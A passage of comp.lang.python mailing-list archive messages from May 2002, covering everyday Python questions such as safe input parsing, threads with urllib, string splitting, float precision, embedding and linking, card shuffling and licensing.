13:10:46 2002 From: alexis.layton at post.harvard.edu (Alexis Layton) Date: Wed, 08 May 2002 17:10:46 GMT Subject: "a better input" References: Message-ID: <080520021314438230%alexis.layton@post.harvard.edu> [[ This message was both posted and mailed: see the "To," "Cc," and "Newsgroups" headers for details. ]] > > To me, it seems that taking the input string and applying restricted > evaluation (carefully pruning what builtins we want to allow or > disallow -- indeed perhaps _enriching_ the set of normal builtins > with e.g. functions from math...) would be satisfactory. But that > wouldn't meet your examples -- not only 2**22, but also list > comprehensions would then surely be allowed. > > If you can give better specs of what you want to allow and disallow > (and ideally WHY...) then we may think about implementation (e.g. > by compiling then perusing the bytecodes to see if anything that > must not be allowed has slipped in). What about allowing the following behavior for a "safe" input: read a line trim whitespace on both sides attempt to parse the string as a Python boolean, integer, real, or complex* literal otherwise return a the string *I realize there are no true complex literals, we'd have to do a little extra work here It to me seems that having a "safer" input is a less astonishing change than eliminating it entirely. -- Alexis Layton alex AT post.harvard.edu From p.chaisemartin at free.fr Tue May 28 02:49:26 2002 From: p.chaisemartin at free.fr (p.chaisemartin at free.fr) Date: 27 May 2002 23:49:26 -0700 Subject: Pysol on MacOS Message-ID: Does anyone succed to port Pysol on MacOS classic ? Thank's Philippe From jacob at boris.cd.chalmers.se.cd.chalmers.se Tue May 14 07:10:12 2002 From: jacob at boris.cd.chalmers.se.cd.chalmers.se (Jacob Hallen) Date: 14 May 2002 11:10:12 GMT Subject: Multibyte Character Surport for Python References: Message-ID: I am Swedish and English is not my first language. My view is that Python source code should be UTF-8, so that you can represent multilingual strings in a readable way. However, I still think that identifiers should be limited to ASCII. Just like music score is the common language for written music, English based programming languages have become the common base for programming. Just like you have to learn how to read music score (unless you have a perfect memory for tunes) to perform other peoples music, you need to learn basic English in order to make your programs readable by others and be able to read other peoples code. I understand the attraction of using your native language for identifiers and comments, but it is really the dark side of the source. Jacob Hall?n -- From usenet at thinkspot.net Wed May 29 10:09:36 2002 From: usenet at thinkspot.net (Sheila King) Date: Wed, 29 May 2002 07:09:36 -0700 Subject: Browsing a big mailbox offline References: <2002529-10584-626303@foorum.com> Message-ID: On 29 May 2002 09:58:04 GMT, Sebastien SAUVAGE wrote in comp.lang.python in article <2002529-10584-626303 at foorum.com>: > > Hello. > > I'm looking for a convenient way for browsing *offline* the > marvellous comp.lang.python archive (a nice 397 Mb mailbox file available at > http://mail.python.org/pipermail/python-list/ ) > > I found no news client capable of reading/importing a raw unix mailbox. > Does anybody know a news client capable of this ? > (platform : Windows) > > Or will I have to install a local NNTP server ? > (something like CoffeeLink Open News Server or Hamster ?) Another suggestion (for Windows) is Forte Agent. http://www.forteinc.com It has a 30 day preview, is both a mail reader and a news reader, and does import mbox formatted files. -- Sheila King http://www.thinkspot.net/sheila/ http://www.k12groups.org/ From ctgaff at attbi.com Wed May 29 21:53:19 2002 From: ctgaff at attbi.com (Corey G.) Date: Wed, 29 May 2002 20:53:19 -0500 Subject: matching one time through a loop In-Reply-To: References: <20020530011337.GA37921@attbi.com> Message-ID: <20020530015319.GA38588@attbi.com> Break lists one match and exits the program, I tried this earlier. On Wed, May 29, 2002 at 06:28:15PM -0700, Sean 'Shaleh' Perry wrote: > > On 30-May-2002 Corey G. wrote: > > I have a script that parses some email from a Maildir directory > > and I am looking for the number 550. I want to stop searching once > > the first occurrence is found in order to save time and be efficient. > > This sort of thing can be done in Perl using the "last" statement. > > I achieved my goal by using a counter but it seems terribly inefficient. > > Any ideas? > > > > um, 'break'? > > > -- > http://mail.python.org/mailman/listinfo/python-list ---end quoted text--- -- Best Regards, Corey From "aglyport\" at n-o.s,p/a__m.yahoo.com> Mon May 20 18:40:38 2002 From: "aglyport\" at n-o.s,p/a__m.yahoo.com> (Anton Graph) Date: Mon, 20 May 2002 15:40:38 -0700 Subject: -lModules -lPython -lObjects -lParser References: Message-ID: Martin v. Loewis wrote: > Anton Graph <""aglyport\"@n-o.s,p/a__m.yahoo.com> writes: > > >>g++ -V 2.95.3 -g -o metadb metadb.o metaadb.o metaddl.o metapy.o >>i386-linux.o -L/usr/local/lib/python2.2/config -lpython2.2 config2.o >>-lpthread -ldl -lutil -lm > > [...] > >>What am I doing wrong? > > > You need to pass config2.o before -lpython2.2. The linker processes > input from left to right. > That fixed it. For some reason I got it in my head that if there is config.o on command line and config.o in the lib and config.o is before the lib the version from the library will be used. Thank you! From bokr at oz.net Fri May 10 21:57:49 2002 From: bokr at oz.net (Bengt Richter) Date: 11 May 2002 01:57:49 GMT Subject: Conditional compilation References: <3cdbb641_2@news3.newsgroups.com> Message-ID: On Fri, 10 May 2002 19:51:52 GMT, "Terry Reedy" wrote: > >"jb" wrote in message >news:3cdbb641_2 at news3.newsgroups.com... >> This question was probably asked many times. >> >> It does not seem to be possible to "comment out" blocks of code, >which would >> be a very nice feature for testing purposes. (Maybe I can do it with >""" >> but that looks a bit cumbersome.) > >Typing \n''' twice is hardly any more cumbersome than typing \n/*, >\n*/. >The ease of repeats compesates for the two extra keystrokes. > Need to scan for ''' in the "commented-out" part though. Regards, Bengt Richter From tatebll at aol.com Tue May 7 11:02:24 2002 From: tatebll at aol.com (Bill Tate) Date: 7 May 2002 08:02:24 -0700 Subject: streaming audio References: Message-ID: Rob Brown-Bayliss wrote in message news:... > Hi, > > I am looking for some information on the basics of audio streaming, or > any sort of data streaming really. > > I want to create an app to stream audio around a LAN and really have > know Idea on where to start. > > Thanks in advance. Some kindly suggestions. You should, at the very least, be cautious of an implementation that is based solely on a blocking IO model. Media streaming is a very IO intensive operation regardless of the media format used. It isn't an issue of microprocessor speed. Therefore, a media server based on a non-blocking IO model (using TCP or possibly UDP sockets with select() or poll()functions) is likely to yield much better performance. You might want to check out Unix Network Programming by W. Richard Stevens for more details - its very well written. A typical model used in network programming is to use one thread per socket. For you situation, you may wish to consider an alternative to threads that is lighter-weight, can be instantiated quickly and which can be stopped and restarted with ease. If you will be processing many client requests for different audio files, you might check out the story behind the reincarnation of stackless (and continuations in particular). Continuations offer some advantages well suited to media streaming. They are extremely lightweight, can be quickly instantiated, there is no "real" limit on their numbers, they can be stopped and restarted with ease, and work extremely well with sockets. I can't speak to how the reinvented stackless works with python 2.2 but others may have suggestions on other alternatives. At the very lest, its would be worth familarizing yourself with the background on stackless and why it was created. Good luck From magni2k at uni.de Tue May 7 12:21:57 2002 From: magni2k at uni.de (magni2k) Date: Tue, 07 May 2002 16:21:57 GMT Subject: Lists and split Message-ID: <20020507162158.060F25D31@hand.ball.reliam.net> Hi, i've got a question about lists and how to split them. This little function is not the whole script and my problem depends only on this short lines! I want to split an external file into 3 single terms! protocol, host, path for example The file contains urls in form : ftp://home.arcor.de/user/index/ http://www.python.org/index.html ... So, what I want is to have a listing in form of: ['ftp', 'home.arcor.de', 'user/index'] ['http', 'www.python.org', 'index.html'] def List(self): for line in ListFile(sys.argv[1]): serverlist = string.split(line, '://') print serverlist[1] Anybody perhaps an idea? The problem is how to split the 2nd time!! Thanks for everybody who reads and perhaps can help me ;-) magni From duncan at NOSPAMrcp.co.uk Thu May 30 11:20:45 2002 From: duncan at NOSPAMrcp.co.uk (Duncan Booth) Date: Thu, 30 May 2002 15:20:45 +0000 (UTC) Subject: Where can I find .join() in the docs References: Message-ID: "Ruediger Maehl" wrote in news:newscache$7ohxwg$ncj$1 at www-neu.dzsh.de: >> >>> help(str.join) >> Help on method_descriptor: >> >> join(...) >> S.join(sequence) -> string >> >> Return a string which is the concatenation of the strings in the >> sequence. The separator between elements is S. > > That is the description I was looking for, but how do I guess "str"? > I also cannot find it in the Global Module Index. What else is hidden? > (Although I use Python for nearly two years, I sometimes still feel > like a beginner). str is the name of the string type. You can also do help(unicode.join) for a similar message about the join method of the unicode type. The library reference doesn't seem to actually mention anywhere that the types are called str and unicode: the only mention of str that I can see hasn't been changed from the days when it was a function. You might find this useful as it shows you what is really in builtins, not what is documented: >>> def showNamespace(namespace=None): '''Summarise namespace contents''' if namespace is None: namespace = __builtins__.__dict__ names = {} # Build a dictionary mapping type to list of names for k, v in namespace.items(): names.setdefault(type(v), []).append(k) # Extract typename and name lists into a list items = [(t.__name__, v) for t, v in names.items()] items.sort() # Sort by typename # Print out the variables categorised by type for k, v in items: print "%s:" % k, ", ".join(v) print >>> showNamespace() NoneType: None NotImplementedType: NotImplemented builtin_function_or_method: vars, pow, globals, divmod, apply, isinstance, zip, hex, chr, __import__, input, oct, repr, hasattr, delattr, setattr, raw_input, iter, compile, reload, round, dir, cmp, hash, xrange, reduce, coerce, intern, issubclass, unichr, id, locals, slice, min, execfile, getattr, abs, map, buffer, max, len, callable, eval, ord, filter, range class: RuntimeError, MemoryError, StopIteration, UnicodeError, LookupError, ReferenceError, NameError, ImportError, SystemExit, Exception, StandardError, SystemError, IOError, IndexError, RuntimeWarning, SyntaxWarning, Warning, ArithmeticError, KeyError, EnvironmentError, DeprecationWarning, FloatingPointError, OverflowWarning, ValueError, EOFError, TabError, SyntaxError, OSError, IndentationError, AssertionError, TypeError, KeyboardInterrupt, UserWarning, ZeroDivisionError, UnboundLocalError, NotImplementedError, AttributeError, OverflowError, WindowsError ellipsis: Ellipsis instance: help, credits, copyright, license int: __debug__ str: quit, __doc__, exit, __name__ type: float, unicode, open, super, long, complex, dict, type, tuple, list, str, property, int, file, object, classmethod, staticmethod >>> -- Duncan Booth duncan at rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From Gabriel.Moreau at hmg.inpg.fr Mon May 13 03:37:34 2002 From: Gabriel.Moreau at hmg.inpg.fr (Gabriel Moreau) Date: Mon, 13 May 2002 09:37:34 +0200 Subject: Result of I need your experience - classification and comparison of languages References: <20020508200439966+0100@pc-62-30-160-65-hw.blueyonder.co.uk> Message-ID: <3CDF6D3E.1090609@hmg.inpg.fr> I don't understand why Effeil is more safe than Sather because Effeil use covariance (not safe) and Sather contravariance (safe). One really nice features in Sather is Iterator you don't find in any other languages. You can find iterator in Ruby but they are not as nice as in Sather. Iterator are a very safe features because loop are clean and many bug comes from loop. gaby From fredrik at pythonware.com Thu May 30 17:06:38 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 30 May 2002 21:06:38 GMT Subject: semi-concatenated strings References: Message-ID: Grant Griffin wrote: > > I discovered today that strings can sometimes be concatenated > without using a "+": had you read the language reference, you might have discovered this long ago: 2.4.2 String literal concatenation http://www.python.org/doc/current/ref/string-catenation.html and Python's not the only language doing this, of course; e.g. see: http://www.lysator.liu.se/c/rat/c1.html#3-1-4 From mike at nthwave.net Thu May 9 12:54:34 2002 From: mike at nthwave.net (Michael Mell) Date: Thu, 09 May 2002 09:54:34 -0700 Subject: threaded urllib.urlretrieve() confusion Message-ID: <3CDAA9CA.7F38452D@nthwave.net> I'm new to threads and am confounded by what seems to be happening. The code below wants to spawn X threads per second, each thread containing a call to doRequest(). Immediately after each threaded call to doRequest(), the request should begin. However, what seems to be happening is that all the spawning happens, then all the threads begin. It seems that all the threads are spawned in # SPAWN THREADS before and request in # DO REQUEST initiates. How do I get each doRequest() to begin its process as soon as I call thread.start_new_thread (doRequest, (idStr, )) TIA mike Here is the code snippet. If you have threads, it should run on your system exactly as-is. ================== import time, thread, urllib base = "http://192.168.1.3/index.html" query = {'dataID':'27346'} data = urllib.urlencode(query) totalRequests = 6 requestsPerSecond = 2 active = [] # each item in active represents one active thread results = [] # we'll store the results for later def storeResult(r): global active, results active.pop() # one less thread active results.append(r) def doRequest(id): # DO REQUEST result = {'startTime': time.time() } print 'start',id, result['startTime'] result['response'] = urllib.urlretrieve(base, '', '', data) # URL RETRIEVE storeResult(result) return 1 processStart = time.time() print 'processStart', processStart for i in range(totalRequests/requestsPerSecond): # SPAWN THREADS for j in range(requestsPerSecond): active.append(i) # a new thread is active idStr = 'thread second '+`i` +' id '+ `j` print 'spawn '+ idStr thread.start_new_thread (doRequest, (idStr, )) # START NEW THREAD print 'sleep', i time.sleep(1.0) # SLEEP pause the main process before starting the next batch while active: # WAIT until the last thread has finished pass processFinish = time.time() print 'processFinish', processFinish tElapse = processFinish - processStart print 'tElapse', tElapse ========================== -- mike[at]nthwave.net llemekim YahooIM 415.455.8812 voice 419.735.1167 fax From seraphim at linuxmail.org Sun May 26 19:21:56 2002 From: seraphim at linuxmail.org (seraphim) Date: 26 May 2002 16:21:56 -0700 Subject: Need help learning Python Message-ID: <63f2fcbe.0205261521.76c3612f@posting.google.com> I am looking for a good Python tutorial. I would like to learn the language, but am having a hard time finding a good tutorial. Any help would be appreciated. Also, book recommendations would be nice as well. seraphim - seraphim at linuxmail.org From gorny0 at zonnet.nl Mon May 13 03:35:02 2002 From: gorny0 at zonnet.nl (Gorny) Date: Mon, 13 May 2002 09:35:02 +0200 Subject: add_command References: <5nxD8.33442$CN3.1163150@news2.tin.it> Message-ID: "Alex Martelli" schreef in bericht news:5nxD8.33442$CN3.1163150 at news2.tin.it... > Gorny wrote: > > > > status.add_command(label='wh00t', command=self.func, > > argskeyword=tuple_containing_args) > > If it's a tuple it's unlikely to hold _keyword_ arguments -- > more likely it will hold positional ones, no? Aargh of course...*flame me* > Anyway, the special-case you need is something line (in Python 2.2, > or 2.1 with "from __future__ import nested_scopes"): > > def curry(func, *args, **kwds): > def curried(): return func(*args, **kwds) > return curried > > then you'll call something like > > status.add_command(label='wh00t', > command=curry(self.func, *tuple_containing_args)) Allright, that'll do fine. I've read the corresponding PEP and it seems perfectly clear to me. But in the future (as of 2.3) I assume that you don't have to import anything and the nested_scopes are implemented within Python's core? Gorny -- "Spread the sources" http://gorny.cjb.net From anthony at interlink.com.au Tue May 28 06:41:42 2002 From: anthony at interlink.com.au (Anthony Baxter) Date: Tue, 28 May 2002 20:41:42 +1000 Subject: The email package and KLEZ mails In-Reply-To: Message from moc.q-dnan-p@p-nand-q.com (Gerson Kurz) of "Tue, 28 May 2002 08:21:56 GMT." <3cf33c82.91718234@News.CIS.DFN.DE> Message-ID: <200205281041.g4SAfgG19932@localhost.localdomain> Klez (and other misbegotten mailers) screw up MIME. In Klez's case (and at least one other mail agent) it duplicates a boundary tag inside the message. I'm working on a patch for the email package that enables a "non-strict" parser mode. It handles this, and every other piece of bastardry that's come through my mailbox in the last few months. I've one more case to go, then a test suite. I expect this to be finished tomorrow, as I need it for work. Oleg's comment about 'RFC compliant tools' isn't correct - a basic principle of internet protocols is that you should be liberal in what you accept. The current strict parser in the email package isn't suitable for this. Anthony -- Anthony Baxter It's never too late to have a happy childhood. From lists at weissinger.org Tue May 7 09:21:03 2002 From: lists at weissinger.org (A. Keyton Weissinger) Date: Tue, 7 May 2002 09:21:03 -0400 Subject: urllib, urllib2, httplib -- Begging for consolidation? In-Reply-To: Message-ID: I've been doing a fair amount of work lately on my web application testing system, Puffin (shameless project promotion coming up), located at puffin.sourceforge.net, and I've been working a lot with both urllib's and the httplib. Am I the only one that thinks these need to be pulled together some? I saw a PEP (268?) where there are some rumblings about adding some things to it as well. Maybe a combo project? Thoughts? Comments? Keyton From rjones at ekit-inc.com Tue May 14 02:20:52 2002 From: rjones at ekit-inc.com (Richard Jones) Date: Tue, 14 May 2002 16:20:52 +1000 Subject: Problem using VC6sp5 to compile extensions - PyObject_HEAD_INIT Message-ID: <200205141620.52564.rjones@ekit-inc.com> I've had a bug report for the kjbuckets module: http://sourceforge.net/tracker/?func=detail&atid=100662&aid=555391&group_id=662 In summary, trying to "python setup.py install" the kjbuckets module distributed with the new Gadfly package results in: """ kjbucketsmodule.c(3301) : error C2099: initializer is not a constant kjbucketsmodule.c(3321) : error C2099: initializer is not a constant kjbucketsmodule.c(3341) : error C2099: initializer is not a constant I attempted to revert these lines to the version found in an earlier kjbuckets.tgz updated for python 2.2 I have by "jfarr at speakeasy.org" dated from 1/23/2002. The old line was: PyObject_HEAD_INIT(0). VC died during preprocessing with: kjbucketsmodule.c(3301) : fatal error C1021: invalid preprocessor command 'PyObject_HEAD_INIT' VC6 does not seem to be happy with the PyObject_HEAD_INIT(0) macro defined in python22\include\object.h at line 68 or 73. I have not attempted to compile python 2.2.1, so I don't know if this is a python problem or not. """ (quote from the bug submission) Can anyone help? Richard From jb at cascade-sys.com Tue May 21 04:12:44 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Tue, 21 May 2002 01:12:44 -0700 Subject: Licensing question References: <3ce8614f_5@nopics.sjc> <3CE9CC3E.F22C3B5D@cascade-sys.com> Message-ID: <3CEA017C.7E1F0204@cascade-sys.com> "James J. Besemer" wrote: > I always favorably impressed that he took steps in the licensing to allow > commercial spin-offs using Python technology, instead, say, of trying to lock > derivatives in the public domain ala Stallman's CopyLeft. Paul Foley points out that my use of "public domain" in the above sentence is incorrect. GPL not is "public domain". To forgive is divine. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From cbbrowne at acm.org Fri May 10 16:09:18 2002 From: cbbrowne at acm.org (Christopher Browne) Date: Fri, 10 May 2002 16:09:18 -0400 Subject: Is there such a beast as a "perfect" shuffle? :) References: Message-ID: Tim Peters wrote: > [Christos Georgiou] >> ... >> Apart from that, which is just a naive approach, any hints / clues for >> building good, uniform random numbers in the range 52! ? > > This is difficult. Here's one way: > > http://www.faqts.com/knowledge_base/view.phtml/aid/4406/fid/546 The basic principle is to make sure that you run through them all and give opportunity for them to get swapped into any position. The unbiased way is not quite intuitive... - You run through from position 1 to position 52 - For each position, select a random location from [present] to the end of the list. - Swap what's in the current location with the contents of that other random location. The nonintuitive part is that the random range shrinks as you move along. If you leave the range open, there's a bit of a bias. It's a significant bias, if there are only 3 cards. It's not nearly so significant with 52. You could do far worse than running through the 52 locations and, for each one, swap it with a randomly selected location. That will certainly shuffle things about pretty decently. -- (concatenate 'string "chris" "@cbbrowne.com") http://www.cbbrowne.com/info/rdbms.html A man, a plan, a canoe, pasta, heros, rajahs, a coloratura, maps, snipe, percale, macaroni, a gag, a banana bag, a tan, a tag, a banana bag again (or a camel), a crepe, pins, Spam, a rut, a Rolo, cash, a jar, sore hats, a peon, a canal--Panama! From buzzard at urubu.freeserve.co.uk Tue May 7 16:34:02 2002 From: buzzard at urubu.freeserve.co.uk (Duncan Smith) Date: Tue, 7 May 2002 21:34:02 +0100 Subject: "Inserting" a line in a text file? Message-ID: I need to (in effect) insert a single line at the beginning of an existing text file (a dumped MySQL database, so potentially large). Is there anything cuter than eg. creating a temporary file containing the single line, reading the lines from the data file, appending them to the temporary file, deleting the data file, renaming the temporary file? Currently on Win2000, but the solution needs to be cross platform. I can always go with the obvious, but something faster and / or simpler would be nice (I might even learn something). Cheers. TIA. Duncan From stephen at xemacs.org Thu May 2 06:13:39 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 02 May 2002 19:13:39 +0900 Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> <3CCF4F66.BA0A5DD4@cascade-sys.com> Message-ID: <873cxan9gs.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "James" == James J Besemer writes: James> It strikes me as somewhat arbitrary that "newbie" questions James> or comments about language features are so irritating while James> answering newbie questions over and over about how to split James> a text line into fields (or to measure performance) is not. James> IMHO, they both seem legitimate questions. Note where you quoted "newbie", and where you didn't. I think you know the difference, although it may not be easy to articulate. James> I was initially misled by the unusually broad range of James> evidently legal topics on this list; the boundaries are James> entirely non obvious. People like myself are perfectly James> capable of following rules that are clearly posted and duly James> established, as opposed to individual complaints that for James> all we know are merely one person's opinion. My guess is that's a part of the "social experiment". It's so cool that one person can refer to James Buchanen _and_ Jamie Zawinski in the same newsgroup. I'd certainly like to explore the things people of such varied interests are thinking about. Evidently they want to, too. But that requires a lot of self-discipline, knowing when to terminate the OT threads, or move them, to comply with the explicit topic. And it _does_ require cooperation and sensitivity to things that might be just one person's opinion, or might be representative. This is a lot of effort, perhaps, but I think it's worth it. And you _can_ treat c.l.py as just another newsgroup, restricting yourself to polite technical Q&A about "how to do it in Python" or "is there (likely to be) a convenient facility/idiom to do it in Python (I haven't found it in the `usual places' if there is)". No fear of flames, minimal effort (for complying "wif da rulez"---you still have to write good posts, which ain't easy). What you can't do is generalize from "many things go" to "any thing goes." And you can expect to take some heat if you make no attempt to apply judgement to what's acceptable, but just assume a fixed rule. I'm not a charter member, so all of the above is IMHO. But I bet I'll be able to get along fairly well to the extent that I think in those terms. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN From edlsoft at mindspring.com Sun May 12 14:26:57 2002 From: edlsoft at mindspring.com (Burt Leavenworth) Date: Sun, 12 May 2002 18:26:57 GMT Subject: python cryptography toolkit References: <87it68b3z2.fsf@tux.ntw23.fr> Message-ID: <3cdeb326.16139670@news1.news.adelphia.net> On 01 May 2002 13:06:56 GMT, "A.M. Kuchling" wrote: >In article <87it68b3z2.fsf at tux.ntw23.fr>, Sylvain Thenault wrote: >> [1] http://www.python.org/workshops/1995-05/pct.html >> [2] ftp://ftp.cwi.nl/pub/pct/pycrypt100.tgz > >Yow, that's very old indeed. Try >http://www.amk.ca/python/code/crypto.html for a newer version, >1.9alpha1. (Note that there are endianness-related bugs that show up >on platforms such as SPARC. If you're on an x86 machine, though, >there's no problem with 1.9a1.) > >--amk (www.amk.ca) >"Eureka" is Greek for "This bath is too hot". > -- The Doctor, in "The Talons of Weng-Chiang" Is there any way to substitute the GNU GCC compiler for Microsoft's? Bill is rich enough as it is. Burt Leavenworth From niemeyer at conectiva.com Fri May 10 15:37:01 2002 From: niemeyer at conectiva.com (Gustavo Niemeyer) Date: Fri, 10 May 2002 16:37:01 -0300 Subject: Thoughts on new grammar rules (PEP 284 in particular) In-Reply-To: <82undu4anb47usgck50ebil2ku1f36173q@4ax.com> References: <82undu4anb47usgck50ebil2ku1f36173q@4ax.com> Message-ID: <20020510163701.A10978@ibook.distro.conectiva> > We could then have... > > range checking... > > if [* check 0 <= x < 10 *] : > print "OK" > > for loop... > > for [* range 0 <= x < 10 *] : > pass Hummm... I'll start to write a museum of weird suggestions.. :-)) -- Gustavo Niemeyer [ 2AAC 7928 0FBF 0299 5EB5 60E2 2253 B29A 6664 3A0C ] From whisper at oz.net Tue May 21 14:11:04 2002 From: whisper at oz.net (David LeBlanc) Date: Tue, 21 May 2002 11:11:04 -0700 Subject: Licensing question In-Reply-To: Message-ID: Python, fortunately, is not copylefted. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of phil hunt > Sent: Tuesday, May 21, 2002 5:31 > To: python-list at python.org > Subject: Re: Licensing question > > > On Mon, 20 May 2002 21:25:34 -0700, James J. Besemer > wrote: > > > >Adonis wrote: > > > >> any feedback would be greatly appreciated. > > > >Python creator Guido van Rossum has said publicly: > > > > It's OK to want to make money. > > > >I always favorably impressed that he took steps in the licensing to allow > >commercial spin-offs using Python technology, instead, say, of > trying to lock > >derivatives in the public domain ala Stallman's CopyLeft. > > (1) Copylefted software isn't public domain > > (2) copylefted software doesn't forbid commercial spin offs. > > -- > <"><"><"> Philip Hunt <"><"><"> > "I would guess that he really believes whatever is politically > advantageous for him to believe." > -- Alison Brooks, referring to Michael > Portillo, on soc.history.what-if > -- > http://mail.python.org/mailman/listinfo/python-list From johnroth at ameritech.net Sun May 26 08:30:33 2002 From: johnroth at ameritech.net (John Roth) Date: Sun, 26 May 2002 08:30:33 -0400 Subject: Backwards emulation rather than backwards compatibility? References: <3CEF8E04.6040909@ix.netcom.com> Message-ID: "Chris Liechti" wrote in message news:Xns921A11F2F5EE8cliechtigmxnet at 62.2.16.82... > Tim Churches wrote in > news:mailman.1022364102.10713.python-list at python.org: > ... > > But Martin v. Loewis points out: > >> ...It is easy enough to install multiple > >> versions of the interpreter, though. > > > > Indeed it is (unlike many other languages which make having > > multiple versions installed a nightmare), and these days the > > extra disc space used by multiple installations is not a concern. So... > > > > How about a Python meta-bytecode-compiler/interpreter which examines > > Python source code and/or bytecode and automatically sends the code to > > the appropriate installed version of Python, resetting PYTHONPATH and > > any other aspects of the environment appropriately? > > > > Parsing the entire source and trying to infer which version of Python is > > appropriate would probably be too slow (and a big job to write...), > > so maybe an #ifdef-style directive could be put at the top of each > > Python script which triggers the appropriate behaviour, such as > > > > import __v1.5.2__ > > > > The module __v1.5.2__ would do nothing, but that line in the source > > would direct the meta-Python to use the correct version. > > > > I'm not sure how such a meta-interpreter would deal with already > > compiled > > bytecode - is there a version stamp in the bytecode? > > > > If someone wants to write such a thing, I'd be happy to help test it... > > that idea might sound nice, but it's too late! the problem are _old_ > scripts that nobody wants to touch and so there is no possibility to > include such an import statement (and even add a empty _v*_.py file to > satisfy the import). for the same reason a "from __past__ import x" is > useless. if an old script needs python 1.5.2, just change the first line to > #/usr/bin/env python15 (on unix, windows in an other plagu^H^H^H^Hroblem) More FUD. The fact that nobody wants to touch them doesn't mean that nobody will touch them. What it means is that people generally don't want to make changes because they were written in an opaque manner, without clear objectives. That has nothing to do with a mechanical addition of a first line. John Roth From tom at studentuniverse.com Wed May 8 16:29:36 2002 From: tom at studentuniverse.com (Russo, Tom) Date: Wed, 8 May 2002 16:29:36 -0400 Subject: Whats so good about Python? Message-ID: > take a look at Zope. > Can you imagine (someone) writing it in Perl? I can't. i can imagine it, but i pray i never meet said person. From fperez528 at yahoo.com Tue May 7 16:47:27 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Tue, 07 May 2002 14:47:27 -0600 Subject: pricision of string.atof? References: Message-ID: Elvis Chen wrote: > > Greetings, > > I'm working on some numerical analysis that requires rather good precision > on calculation. In my project, I need to read some numbers from a file > and subsequently process it to give other results. However, I found that > string.atof doesn't always convert the read string to equivalent number. > > For example, if I have > > s = 'A 0.424\n' > splitline = string.split( s ) > A = string.atof( splitline[1] ) > > then, > >>>> A > 0.42399999999999999 >>>> print A > 0.424 I know this topic gets beaten to death about once a week, but here it goes once more. It has nothing to do with atof(): In [1]: a=0.424 In [2]: a Out[2]: 0.42399999999999999 In [3]: print a 0.424 It's simply that repr() gives a more faithful representation of the internal form of a value while str() does some rounding for visual convenience. And since not _all_ real numbers can be represented via 32 bit floats (2^32 << infinity), some values by necessity have an approximate representation. Any decent text on numerical analysis discusses this in detail. cheers, f. From prova at prova.it Wed May 1 12:06:58 2002 From: prova at prova.it (Max) Date: Wed, 01 May 2002 16:06:58 GMT Subject: Authomatic internet connection Message-ID: Hi, i'm a new Python-enthusiast. Really GREAT language, i'm having much fun with it!!! (Sorry, but i had to communicate this to the whole world... :) ) Now, a little question: i wrote a very simple script that sends an authomatic e-mail message using smtplib. Short, simple and working! I would like to know if someone knows how to automatically connect to Internet (i'm playing with windows (98 and Xp). It would be nice even to bring up authomatically a connection, somehow like the webbrowser package does when opening a "http" url) before trying to send the message. TIA, Max From kalle at lysator.liu.se Fri May 10 00:42:16 2002 From: kalle at lysator.liu.se (Kalle Svensson) Date: Fri, 10 May 2002 06:42:16 +0200 Subject: Building Python on Cray T3E In-Reply-To: References: Message-ID: <20020510044216.GA3203@i92.ryd.student.liu.se> A non-text attachment was scrubbed... Name: msg.pgp Type: application/pgp Size: 2015 bytes Desc: not available URL: From aleax at aleax.it Thu May 2 05:54:24 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 09:54:24 GMT Subject: Newbie: finding the key/index of the min/max element References: <200204301620.00255.bhan@andrew.cmu.edu> Message-ID: James J. Besemer wrote: ... > So some long standing coding instincts no longer apply. "Everything you > know is wrong." One thing everybody (who knows anything) knows, which is still completely right, is that programmers' instincts are more often wrong when guessing about performance issues than about any other topic (well, perhaps timing and deadline for software completion and delivery are still in contention). I think I was first exposed to this unsettling but by now universally accepted truth by a side note in Hartmann's report on his Concurrent Pascal compiler, back when I was still in University, a full quarter of a century ago. As I recall, after heroic and growingly more complex attempts at optimization, they finally MEASURED what the bottleneck was -- and it turned out to be something utterly trivial, such as the loop that trimmed the trailing blanks off the punched-card images for each line of the input. That made an impression...! Duly reinforced a few short years later by Jon Bentley's impressive "Writing Efficient Programs" (Prentice-Hall). "Don't guess, MEASURE" was of course drilled into us throughout engineering school -- but those professors who were also experienced engineers "out in the field" did make it clear that, once one's instincts are well honed, in MOST (mature) fields of engineering, they may be preferable to any computation or measurement -- when the measurement or computation tell you one thing and your instincts tell you another, you start looking for where did the computation or measurement go wrong. There are exceptions, we were told, such as certain complicated turbulent flows in aerodynamics (and to a lesser extent hydrodynamics), where instincts are misleading and one learns to rely on modeling, simulation, measurement, etc. Performance of computer systems is definitely one of those "exceptions" fields of engineering. Things haven't changed much in that regard in the 20 years since Bentley's book, or the 25+ years since Hartmann's. You may use (well-honed) instincts as a design guide, but in the end, IF the performance matters, you always need to measure. Fortunately, it's a far easier task than in some other fields of engineering:-). >> Since seq.index(max(seq)) is most concise, fastest, and quite clear, >> I think it qualifies for "the one obvious way to do it" in this case. >> Pity it doesn't work for mappings, only for sequences... > > I was tempted to question whether this solution also qualifies for > "elegance" > but I don't see how I can. The FP paradigm is pretty compelling. Functional Programming is indeed an elegant paradigm, but it's not the one being used here -- no higher-order functions, etc. Or maybe you mean something else by FP (Floating Point? naah...). > And we're agreed that a lot of the time performance is not a > consideration. Fortunately not. Only for big-O issues (and none of these approaches is anything else than O(N), obviously big-O-optimal here) is it a worry you can almost never brush aside. Fortunately, big-O issues CAN often be worked out from first principles (if you have the right starting data) -- so, whenever a constant factor of, say, 100% either way does not matter (i.e., by far in the largest part of the code one writes), one is free to go for simplicity and elegance:-). Alex From aleax at aleax.it Sat May 4 02:17:30 2002 From: aleax at aleax.it (Alex 